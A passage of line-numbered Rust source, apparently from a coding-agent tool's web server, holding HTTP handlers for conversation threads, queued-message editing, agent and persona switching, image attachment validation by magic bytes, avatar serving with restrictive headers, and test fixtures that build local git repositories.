7164 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7169 let result = if live.parking {
7170 Ok(None)
7171 } else {
7172 talk::drain(&mut talk, &talks)
7173 };
7174 drop(live);
7175 Ok((talk, result))
7176 }
7177 })
7178 .await;
7179 let (next_talk, result) = match drained {
7180 Ok(drained) => drained,
7181 Err(e) => {
7182 tracing::warn!(
7183 status = %e.status,
7184 message = %e.message,
7185 "talk {id} could not start queued-text drain"
7186 );
7187 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7188 turn.take()
7189 .expect("held for the whole loop until released here")
7190 .release(&mut live);
7191 break;
7192 }
7193 };
7194 talk = next_talk;
7195 let drained = match result {
7196 Ok(Some(drained)) => drained,
7197 Ok(None) => {
7198 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7199 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7200 continue;
7201 }
7202 turn.take()
7203 .expect("held for the whole loop until released here")
7204 .release(&mut live);
7205 break;
7206 }
7207 Err(e) => {
7208 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7209 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7210 turn.take()
7211 .expect("held for the whole loop until released here")
7212 .release(&mut live);
7213 break;
7214 }
7215 };
7216 if let Some(started) = started.take() {
7217 let _ = started.send(true);
7218 }
7219 let responded = match turn.as_ref() {
7220 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7221 None => Err(anyhow::anyhow!("the turn guard was released")),
7222 };
7223 if let Err(e) = responded {
7224 tracing::warn!("talk {id} turn failed: {e:#}");
7225 }
7226 }
7227 drop(turn);
7228 if let Some(started) = started {
7229 let _ = started.send(false);
7230 }
7231}
7232
7233async fn talk_pending_clear(
7235 State(ui): State<Arc<Ui>>,
7236 Path(id): Path<String>,
7237 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7238) -> ApiResult<Json<TalkView>> {
7239 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7240 blocking(move || {
7241 let id = resolve_talk(&ui.talks, &id)?;
7242 let mut talk = ui.talks.get(&id)?;
7243 if !talk.status.open() {
7244 return Err(ApiError::conflict(format!(
7245 "talk {} is {} and takes no more turns",
7246 talk.short(),
7247 talk.status.as_str()
7248 )));
7249 }
7250 if !talk::clear_pending_if_matches(
7251 &mut talk,
7252 &ui.talks,
7253 &body.expected_text,
7254 &body.expected_attachments,
7255 )? {
7256 return Err(ApiError::conflict(
7257 "queued message changed; reload it before clearing",
7258 ));
7259 }
7260 let thinking = ui.is_thinking(&talk.id);
7261 Ok(Json(TalkView::new(talk, thinking)))
7262 })
7263 .await
7264}
7265
7266async fn talk_pending_edit(
7270 State(ui): State<Arc<Ui>>,
7271 Path(id): Path<String>,
7272 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7273) -> ApiResult<Json<TalkView>> {
7274 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7275 let (view, reclaimed) = blocking({
7276 let ui = Arc::clone(&ui);
7277 move || {
7278 let id = resolve_talk(&ui.talks, &id)?;
7279 let mut talk = ui.talks.get(&id)?;
7280 if !talk.status.open() {
7281 return Err(ApiError::conflict(format!(
7282 "talk {} is {} and takes no more turns",
7283 talk.short(),
7284 talk.status.as_str()
7285 )));
7286 }
7287 if !talk::edit_pending_text(
7288 &mut talk,
7289 &ui.talks,
7290 &body.text,
7291 &body.expected_text,
7292 &body.expected_attachments,
7293 )? {
7294 return Err(ApiError::conflict(
7295 "queued message changed; reload it before editing",
7296 ));
7297 }
7298 let claim = match ui.begin_queued_talk_turn(&id)? {
7299 Some(turn_guard) => {
7300 let (cfg, _) = Config::discover(&talk.repo, None)?;
7301 Some((talk.clone(), cfg, id.clone(), turn_guard))
7302 }
7303 None => None,
7304 };
7305 let thinking = ui.is_thinking(&id);
7306 Ok((TalkView::new(talk, thinking), claim))
7307 }
7308 })
7309 .await?;
7310 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7311 let talks = ui.talks.clone();
7312 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7313 }
7314 Ok(Json(view))
7315}
7316
7317fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7319 if talk.status.open() {
7320 return Ok(());
7321 }
7322 Err(ApiError::conflict(format!(
7323 "talk {} is {} and takes no more turns",
7324 talk.short(),
7325 talk.status.as_str()
7326 )))
7327}
7328
7329#[derive(Debug, Deserialize)]
7331struct TalkAgent {
7332 agent: String,
7333}
7334
7335async fn talk_agent(
7340 State(ui): State<Arc<Ui>>,
7341 Path(id): Path<String>,
7342 Json(body): Json<TalkAgent>,
7343) -> ApiResult<Json<TalkView>> {
7344 let id = {
7345 let ui = Arc::clone(&ui);
7346 blocking(move || resolve_talk(&ui.talks, &id)).await?
7347 };
7348 let repo = {
7349 let ui = Arc::clone(&ui);
7350 let id = id.clone();
7351 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7352 };
7353 let cfg = config_for(&repo).await?;
7354 {
7356 let ui = Arc::clone(&ui);
7357 let id = id.clone();
7358 let cfg = cfg.clone();
7359 let wanted = body.agent.clone();
7360 blocking(move || {
7361 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7362 .map_err(ApiError::bad_request_from)?;
7363 refuse_if_closed(&ui.talks.get(&id)?)
7364 })
7365 .await?;
7366 }
7367 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7368 return Err(ApiError::conflict(
7369 "a talk turn is running; change the agent once it has answered",
7370 ));
7371 };
7372 let switched = {
7373 let ui = Arc::clone(&ui);
7374 let id = id.clone();
7375 let cfg = cfg.clone();
7376 blocking(move || {
7377 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7378 .map_err(ApiError::bad_request_from)?;
7379 let mut talk = ui.talks.get(&id)?;
7380 if !talk.status.open() {
7381 return Err(ApiError::conflict(format!(
7382 "talk {} is {} and takes no more turns",
7383 talk.short(),
7384 talk.status.as_str()
7385 )));
7386 }
7387 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7388 Ok(talk)
7389 })
7390 .await
7391 };
7392 let observed = ui.queued_generation(&id);
7397 let fresh = {
7398 let ui = Arc::clone(&ui);
7399 let id = id.clone();
7400 blocking(move || Ok(ui.talks.get(&id)?)).await
7401 };
7402 let draining = match fresh {
7403 Ok(talk) => {
7404 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7405 }
7406 Err(_) => false,
7407 };
7408 let talk = switched?;
7409 Ok(Json(TalkView::new(talk, draining)))
7410}
7411
7412#[derive(Debug, Deserialize)]
7414struct TalkPersona {
7415 persona: String,
7416}
7417
7418async fn talk_persona(
7422 State(ui): State<Arc<Ui>>,
7423 Path(id): Path<String>,
7424 Json(body): Json<TalkPersona>,
7425) -> ApiResult<Json<TalkView>> {
7426 let id = {
7427 let ui = Arc::clone(&ui);
7428 blocking(move || resolve_talk(&ui.talks, &id)).await?
7429 };
7430 let repo = {
7431 let ui = Arc::clone(&ui);
7432 let id = id.clone();
7433 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7434 };
7435 let cfg = config_for(&repo).await?;
7436 {
7438 let ui = Arc::clone(&ui);
7439 let id = id.clone();
7440 let cfg = cfg.clone();
7441 let wanted = body.persona.clone();
7442 blocking(move || {
7443 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7444 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7445 }
7446 refuse_if_closed(&ui.talks.get(&id)?)
7447 })
7448 .await?;
7449 }
7450 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7451 return Err(ApiError::conflict(
7452 "a talk turn is running; change the persona once it has answered",
7453 ));
7454 };
7455 let switched = {
7456 let ui = Arc::clone(&ui);
7457 let id = id.clone();
7458 let cfg = cfg.clone();
7459 blocking(move || {
7460 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7461 return Err(ApiError::bad_request(format!(
7462 "unknown persona `{}`",
7463 body.persona
7464 )));
7465 };
7466 let mut talk = ui.talks.get(&id)?;
7467 if !talk.status.open() {
7468 return Err(ApiError::conflict(format!(
7469 "talk {} is {} and takes no more turns",
7470 talk.short(),
7471 talk.status.as_str()
7472 )));
7473 }
7474 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7475 Ok(talk)
7476 })
7477 .await
7478 };
7479 let observed = ui.queued_generation(&id);
7481 let fresh = {
7482 let ui = Arc::clone(&ui);
7483 let id = id.clone();
7484 blocking(move || Ok(ui.talks.get(&id)?)).await
7485 };
7486 let draining = match fresh {
7487 Ok(talk) => {
7488 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7489 }
7490 Err(_) => false,
7491 };
7492 let talk = switched?;
7493 Ok(Json(TalkView::new(talk, draining)))
7494}
7495
7496#[derive(Debug, Deserialize)]
7498struct TalkImplementers {
7499 implementers: u8,
7500}
7501
7502async fn talk_implementers(
7506 State(ui): State<Arc<Ui>>,
7507 Path(id): Path<String>,
7508 Json(body): Json<TalkImplementers>,
7509) -> ApiResult<Json<TalkView>> {
7510 let id = {
7511 let ui = Arc::clone(&ui);
7512 blocking(move || resolve_talk(&ui.talks, &id)).await?
7513 };
7514 let repo = {
7515 let ui = Arc::clone(&ui);
7516 let id = id.clone();
7517 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7518 };
7519 let cfg = config_for(&repo).await?;
7520 {
7525 let ui = Arc::clone(&ui);
7526 let id = id.clone();
7527 let cfg = cfg.clone();
7528 let wanted = body.implementers;
7529 blocking(move || {
7530 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7531 refuse_if_closed(&ui.talks.get(&id)?)
7532 })
7533 .await?;
7534 }
7535 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7536 return Err(ApiError::conflict(
7537 "a talk turn is running; change the implementers once it has answered",
7538 ));
7539 };
7540 let switched = {
7541 let ui = Arc::clone(&ui);
7542 let id = id.clone();
7543 let cfg = cfg.clone();
7544 blocking(move || {
7545 let chosen =
7546 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7547 let mut talk = ui.talks.get(&id)?;
7548 if !talk.status.open() {
7549 return Err(ApiError::conflict(format!(
7550 "talk {} is {} and takes no more turns",
7551 talk.short(),
7552 talk.status.as_str()
7553 )));
7554 }
7555 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7556 Ok(talk)
7557 })
7558 .await
7559 };
7560 let observed = ui.queued_generation(&id);
7562 let fresh = {
7563 let ui = Arc::clone(&ui);
7564 let id = id.clone();
7565 blocking(move || Ok(ui.talks.get(&id)?)).await
7566 };
7567 let draining = match fresh {
7568 Ok(talk) => {
7569 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7570 }
7571 Err(_) => false,
7572 };
7573 let talk = switched?;
7574 Ok(Json(TalkView::new(talk, draining)))
7575}
7576
7577async fn talk_close(
7579 State(ui): State<Arc<Ui>>,
7580 Path(id): Path<String>,
7581) -> ApiResult<Json<TalkView>> {
7582 blocking(move || {
7583 let id = resolve_talk(&ui.talks, &id)?;
7584 let mut talk = ui.talks.get(&id)?;
7585 talk::close(&mut talk, &ui.talks)?;
7586 let thinking = ui.is_thinking(&talk.id);
7587 Ok(Json(TalkView::new(talk, thinking)))
7588 })
7589 .await
7590}
7591
7592async fn talk_reopen(
7594 State(ui): State<Arc<Ui>>,
7595 Path(id): Path<String>,
7596) -> ApiResult<Json<TalkView>> {
7597 blocking(move || {
7598 let id = resolve_talk(&ui.talks, &id)?;
7599 let mut talk = ui.talks.get(&id)?;
7600 talk::reopen(&mut talk, &ui.talks)?;
7601 let thinking = ui.is_thinking(&talk.id);
7602 Ok(Json(TalkView::new(talk, thinking)))
7603 })
7604 .await
7605}
7606
7607async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7617 blocking(move || {
7618 let id = resolve_talk(&ui.talks, &id)?;
7619 ui.talks.remove(&id)?;
7620 Ok(StatusCode::NO_CONTENT)
7621 })
7622 .await
7623}
7624
7625fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7627 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7628}
7629
7630async fn talk_attachment_post(
7633 State(ui): State<Arc<Ui>>,
7634 Path(id): Path<String>,
7635 headers: HeaderMap,
7636 body: Bytes,
7637) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7638 let mime = validate_attachment(&headers, &body)?;
7639 let name = filename_header(&headers);
7640 let data = body.to_vec();
7641 blocking(move || {
7642 let id = resolve_talk(&ui.talks, &id)?;
7643 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7644 Ok((StatusCode::CREATED, Json(att)))
7645 })
7646 .await
7647}
7648
7649async fn talk_attachment_get(
7652 State(ui): State<Arc<Ui>>,
7653 Path((id, att)): Path<(String, String)>,
7654) -> ApiResult<Response> {
7655 blocking(move || {
7656 let id = resolve_talk(&ui.talks, &id)?;
7657 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7658 return Err(ApiError::not_found(format!(
7659 "talk {id} has no attachment `{att}`"
7660 )));
7661 };
7662 Ok(attachment_response(&meta.mime, data))
7663 })
7664 .await
7665}
7666
7667fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7670 let mut id = String::new();
7671 for b in p.id.bytes() {
7672 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7673 id.push(char::from(b));
7674 } else {
7675 id.push_str(&format!("%{b:02X}"));
7676 }
7677 }
7678 format!(
7679 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7680 persona_icon::fingerprint(p.icon.as_deref())
7681 )
7682}
7683
7684#[derive(Debug, Default, Deserialize)]
7685struct AvatarQuery {
7686 persona: Option<String>,
7687 builtin: Option<String>,
7689}
7690
7691const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7693
7694fn builtin_avatar(id: &str) -> Response {
7695 (
7696 [
7697 (header::CONTENT_TYPE, "image/svg+xml"),
7698 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7699 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7700 (header::CACHE_CONTROL, "no-cache"),
7701 ],
7702 persona_icon::builtin_svg(id),
7703 )
7704 .into_response()
7705}
7706
7707async fn talk_avatar(
7712 State(ui): State<Arc<Ui>>,
7713 Path(id): Path<String>,
7714 Query(q): Query<AvatarQuery>,
7715) -> ApiResult<Response> {
7716 blocking(move || {
7717 let id = resolve_talk(&ui.talks, &id)?;
7718 let talk = ui.talks.get(&id)?;
7719 let wanted = q
7720 .persona
7721 .as_deref()
7722 .map(str::trim)
7723 .filter(|p| !p.is_empty())
7724 .unwrap_or(&talk.persona)
7725 .to_owned();
7726 let specs = match Config::discover(&talk.repo, None) {
7727 Ok((cfg, _)) => cfg.talk.personas,
7728 Err(e) => {
7729 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7730 Vec::new()
7731 }
7732 };
7733 let Some(found) = persona::find(&specs, &wanted) else {
7734 return Ok(builtin_avatar(persona::DEFAULT_ID));
7735 };
7736 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7737 return Ok(builtin_avatar(&found.id));
7738 };
7739 match persona_icon::load(icon) {
7740 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7741 let mut res = attachment_response(mime, bytes);
7742 res.headers_mut().insert(
7743 header::CACHE_CONTROL,
7744 header::HeaderValue::from_static("no-cache"),
7745 );
7746 Ok(res)
7747 }
7748 Ok((mime, _)) => {
7749 tracing::warn!(
7750 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7751 found.id
7752 );
7753 Ok(builtin_avatar(&found.id))
7754 }
7755 Err(e) => {
7756 tracing::warn!(
7757 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7758 found.id
7759 );
7760 Ok(builtin_avatar(&found.id))
7761 }
7762 }
7763 })
7764 .await
7765}
7766
7767fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7778 if data.len() > ATTACHMENT_MAX_BYTES {
7779 return Err(ApiError::bad_request(format!(
7780 "attachment is {} bytes, over the {} MiB limit",
7781 data.len(),
7782 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7783 ))
7784 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7785 }
7786 if data.is_empty() {
7787 return Err(ApiError::bad_request("attachment is empty"));
7788 }
7789 let declared = declared_mime(headers)?;
7790 match sniffed_mime(data) {
7791 Some(sniffed) if sniffed == declared => Ok(declared),
7792 Some(sniffed) => Err(ApiError::bad_request(format!(
7793 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7794 ))),
7795 None => Err(ApiError::bad_request(
7796 "the file's bytes do not match any accepted image format",
7797 )),
7798 }
7799}
7800
7801fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7805 let raw = headers
7806 .get(header::CONTENT_TYPE)
7807 .and_then(|v| v.to_str().ok())
7808 .unwrap_or("")
7809 .split(';')
7810 .next()
7811 .unwrap_or("")
7812 .trim()
7813 .to_ascii_lowercase();
7814 ATTACHMENT_MIME_WHITELIST
7815 .iter()
7816 .find(|&&m| m == raw)
7817 .copied()
7818 .ok_or_else(|| {
7819 if raw == "image/svg+xml" {
7820 ApiError::bad_request(
7821 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7822 not just a picture",
7823 )
7824 } else if raw.is_empty() {
7825 ApiError::bad_request("Content-Type is required for an attachment upload")
7826 } else {
7827 ApiError::bad_request(format!(
7828 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7829 image/gif or image/webp"
7830 ))
7831 }
7832 })
7833}
7834
7835fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7838 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7839 Some("image/png")
7840 } else if data.starts_with(b"\xff\xd8\xff") {
7841 Some("image/jpeg")
7842 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7843 Some("image/gif")
7844 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7845 Some("image/webp")
7846 } else {
7847 None
7848 }
7849}
7850
7851fn filename_header(headers: &HeaderMap) -> String {
7857 headers
7858 .get(FILENAME_HEADER)
7859 .and_then(|v| v.to_str().ok())
7860 .map(str::trim)
7861 .filter(|s| !s.is_empty())
7862 .unwrap_or("attachment")
7863 .to_owned()
7864}
7865
7866fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7873 let content_type = ATTACHMENT_MIME_WHITELIST
7874 .iter()
7875 .find(|&&m| m == mime)
7876 .copied()
7877 .unwrap_or("application/octet-stream");
7878 (
7879 [
7880 (header::CONTENT_TYPE, content_type),
7881 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7882 ],
7883 body,
7884 )
7885 .into_response()
7886}
7887
7888async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7896 let repo = repo.to_path_buf();
7897 blocking(move || {
7898 let (cfg, _) = Config::discover(&repo, None)?;
7899 Ok(cfg)
7900 })
7901 .await
7902}
7903
7904fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7910 let mut hits = ids
7911 .into_iter()
7912 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7913 match (hits.next(), hits.next()) {
7914 (Some(one), None) => Ok(one),
7915 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7916 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7917 "`{prefix}` matches more than one {what}, including {a} and {b}"
7918 ))),
7919 }
7920}
7921
7922#[cfg(test)]
7923mod tests {
7924
7925 #[test]
7926 fn holder_reads_the_lease_not_the_record() {
7927 let mut q = Question::new(
7928 "run".to_owned(),
7929 "implement".to_owned(),
7930 "impl-A".to_owned(),
7931 "which?".to_owned(),
7932 String::new(),
7933 Vec::new(),
7934 );
7935 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7936 q.cwd = Some("/tmp".to_owned());
7937 assert_eq!(holder_of(&q, None), Some("nobody"));
7938 let beat = |kind, ago: i64| ask::Lease {
7939 kind,
7940 pid: 1,
7941 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7942 .unwrap(),
7943 };
7944 let fresh = beat(ask::WaiterKind::Asker, 1);
7945 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7946 let daemon = beat(ask::WaiterKind::Daemon, 1);
7947 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7948 let stale = beat(ask::WaiterKind::Asker, 3600);
7949 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7950
7951 let mut c = Question::new(
7954 "task".to_owned(),
7955 crate::conduct::NODE.to_owned(),
7956 "conduct".to_owned(),
7957 "which?".to_owned(),
7958 String::new(),
7959 Vec::new(),
7960 );
7961 assert_eq!(holder_of(&c, None), Some("nobody"));
7962 c.cwd = Some("/tmp".to_owned());
7963 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7964 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7965 let deputy = beat(ask::WaiterKind::Deputy, 1);
7966 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7967 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7968
7969 let mut r = Question::new(
7971 String::new(),
7972 crate::bump::NOTICE_NODE.to_owned(),
7973 "release-watch".to_owned(),
7974 "stuck?".to_owned(),
7975 String::new(),
7976 vec!["hold".to_owned()],
7977 );
7978 assert_eq!(holder_of(&r, None), Some("nobody"));
7979 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7980 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7981 r.deputy = None;
7983 r.seat = "bump".to_owned();
7984 assert_eq!(holder_of(&r, None), None);
7985
7986 let mut m = Question::new(
7989 "run".to_owned(),
7990 crate::land::APPROVAL_NODE.to_owned(),
7991 "land".to_owned(),
7992 "merge?".to_owned(),
7993 String::new(),
7994 Vec::new(),
7995 );
7996 assert_eq!(holder_of(&m, None), Some("nobody"));
7997 assert_eq!(
7998 holder_of(&m, Some(&fresh)),
7999 Some("nobody"),
8000 "a lease with no deputy is not a listener"
8001 );
8002 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8003 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8004 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8005 assert_eq!(holder_of(&m, None), Some("nobody"));
8006 }
8007
8008 fn stub_config() -> Config {
8009 Config {
8012 agents: vec![crate::config::AgentSpec {
8013 id: "stub".to_owned(),
8014 kind: AgentKind::Command,
8015 model: None,
8016 command: vec!["true".to_owned()],
8017 extra_args: Vec::new(),
8018 env: Default::default(),
8019 prompt_delivery: None,
8020 }],
8021 ..Config::default()
8022 }
8023 }
8024
8025 fn plain_question(seat: &str) -> Question {
8026 Question::new(
8027 String::new(),
8028 "n".to_owned(),
8029 seat.to_owned(),
8030 "s".to_owned(),
8031 String::new(),
8032 Vec::new(),
8033 )
8034 }
8035
8036 #[test]
8037 fn deputies_enabled_follows_the_config() {
8038 let on = stub_config();
8039 assert!(crate::deputy::can_start(Some(&on), ""));
8040 assert!(crate::deputy::can_start(Some(&on), "stub"));
8041 let mut off = on.clone();
8042 off.daemon.max_deputies = 0;
8043 assert!(!crate::deputy::can_start(Some(&off), ""));
8044 let mut empty = on;
8045 empty.agents.clear();
8046 assert!(!crate::deputy::can_start(Some(&empty), ""));
8047 assert!(!crate::deputy::can_start(None, ""));
8048 }
8049
8050 #[test]
8051 fn question_views_load_the_config_once() {
8052 let dir = TempDir::new().unwrap();
8053 let store = ask::Questions::at(dir.path().to_path_buf());
8054 let mut with_deputy = plain_question("b");
8055 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8056 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8057
8058 let calls = std::cell::Cell::new(0usize);
8059 let views = question_views(qs.clone(), &store, || {
8060 calls.set(calls.get() + 1);
8061 Some(stub_config())
8062 });
8063 assert_eq!(calls.get(), 1);
8064 assert_eq!(views.len(), 3);
8065 for (v, q) in views.iter().zip(&qs) {
8066 assert_eq!(
8067 v.deputies_enabled,
8068 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8069 );
8070 }
8071
8072 let views = question_views(qs, &store, || None);
8073 assert!(views.iter().all(|v| !v.deputies_enabled));
8074
8075 let calls = std::cell::Cell::new(0usize);
8076 let views = question_views(Vec::new(), &store, || {
8077 calls.set(calls.get() + 1);
8078 None
8079 });
8080 assert!(views.is_empty());
8081 assert_eq!(calls.get(), 0);
8082 }
8083
8084 use pretty_assertions::assert_eq;
8085 use serde_json::Value;
8086 use tempfile::TempDir;
8087 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8088
8089 use super::*;
8090 use crate::config::Config;
8091 use crate::queue::Source;
8092
8093 const SETTLE_STEPS: usize = 3_000;
8104
8105 struct Fixture {
8111 home: TempDir,
8112 addr: SocketAddr,
8113 }
8114
8115 impl Fixture {
8116 async fn start() -> Self {
8117 Self::with_loop(launch_idle).await
8118 }
8119
8120 async fn with_loop(launch: Launch) -> Self {
8122 let home = TempDir::new().expect("temp home");
8123 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8124 Self { home, addr }
8125 }
8126
8127 async fn with_repo(repo: PathBuf) -> Self {
8131 let home = TempDir::new().expect("temp home");
8132 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8133 Self { home, addr }
8134 }
8135
8136 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8139 let home = TempDir::new().expect("temp home");
8140 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8141 Self { home, addr }
8142 }
8143
8144 async fn serve(
8145 home: &FsPath,
8146 repo: PathBuf,
8147 launch: Launch,
8148 machine: Option<PathBuf>,
8149 ) -> SocketAddr {
8150 let queue = Queue::at(home.join("queue"));
8151 let runs = home.join("runs");
8152 std::fs::create_dir_all(&runs).expect("runs dir");
8153 let worktrees = home.join("wt").join("magi");
8154 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8155 let ui = Ui::new(
8156 queue,
8157 Questions::at(home.join("questions")),
8158 Talks::at(home.join("talks")),
8159 runs,
8160 home.to_path_buf(),
8161 repo,
8162 )
8163 .with_worktrees_root(worktrees)
8164 .with_machine_config(machine)
8165 .with_launch(launch);
8166 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8167 .await
8168 .expect("bind loopback");
8169 let addr = listener.local_addr().expect("local addr");
8170 tokio::spawn(async move {
8171 let router = ui
8172 .router()
8173 .layer(axum::middleware::from_fn(request_cost::observe));
8174 let _ = axum::serve(listener, router).await;
8175 });
8176 addr
8177 }
8178
8179 fn queue(&self) -> Queue {
8180 Queue::at(self.home.path().join("queue"))
8181 }
8182
8183 fn questions(&self) -> Questions {
8184 Questions::at(self.home.path().join("questions"))
8185 }
8186
8187 fn talks(&self) -> Talks {
8188 Talks::at(self.home.path().join("talks"))
8189 }
8190
8191 fn runs(&self) -> PathBuf {
8192 self.home.path().join("runs")
8193 }
8194
8195 async fn get(&self, path: &str) -> Res {
8196 request(self.addr, "GET", path, None).await
8197 }
8198
8199 async fn head(&self, path: &str) -> Res {
8204 request(self.addr, "HEAD", path, None).await
8205 }
8206
8207 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8208 request(self.addr, "POST", path, body).await
8209 }
8210
8211 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8212 request_with(self.addr, "GET", path, None, extra).await
8213 }
8214
8215 async fn delete(&self, path: &str) -> Res {
8216 request(self.addr, "DELETE", path, None).await
8217 }
8218
8219 async fn put(&self, path: &str, body: &str) -> Res {
8220 request(self.addr, "PUT", path, Some(body)).await
8221 }
8222
8223 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8225 request_bytes(self.addr, path, headers, body).await
8226 }
8227 }
8228
8229 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8232 let tmp = TempDir::new().unwrap();
8233 let mut repos = Vec::new();
8234 for name in ["one", "two"] {
8235 let repo = tmp.path().join(name);
8236 let origin = tmp.path().join(format!("{name}.git"));
8237 std::fs::create_dir_all(&repo).unwrap();
8238 crate::git::git(&repo, &["init", "-b", "main"])
8239 .await
8240 .unwrap();
8241 std::fs::write(
8242 repo.join("magi.toml"),
8243 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8244 )
8245 .unwrap();
8246 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8247 crate::git::git(
8248 &repo,
8249 &[
8250 "-c",
8251 "user.name=fixture",
8252 "-c",
8253 "user.email=fixture@example.invalid",
8254 "commit",
8255 "-m",
8256 "fixture",
8257 ],
8258 )
8259 .await
8260 .unwrap();
8261 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8262 .await
8263 .unwrap();
8264 crate::git::git(
8265 &repo,
8266 &["remote", "add", "origin", origin.to_str().unwrap()],
8267 )
8268 .await
8269 .unwrap();
8270 crate::git::git(&repo, &["push", "origin", "main"])
8271 .await
8272 .unwrap();
8273 crate::git::git(
8274 &repo,
8275 &[
8276 "symbolic-ref",
8277 "refs/remotes/origin/HEAD",
8278 "refs/remotes/origin/main",
8279 ],
8280 )
8281 .await
8282 .unwrap();
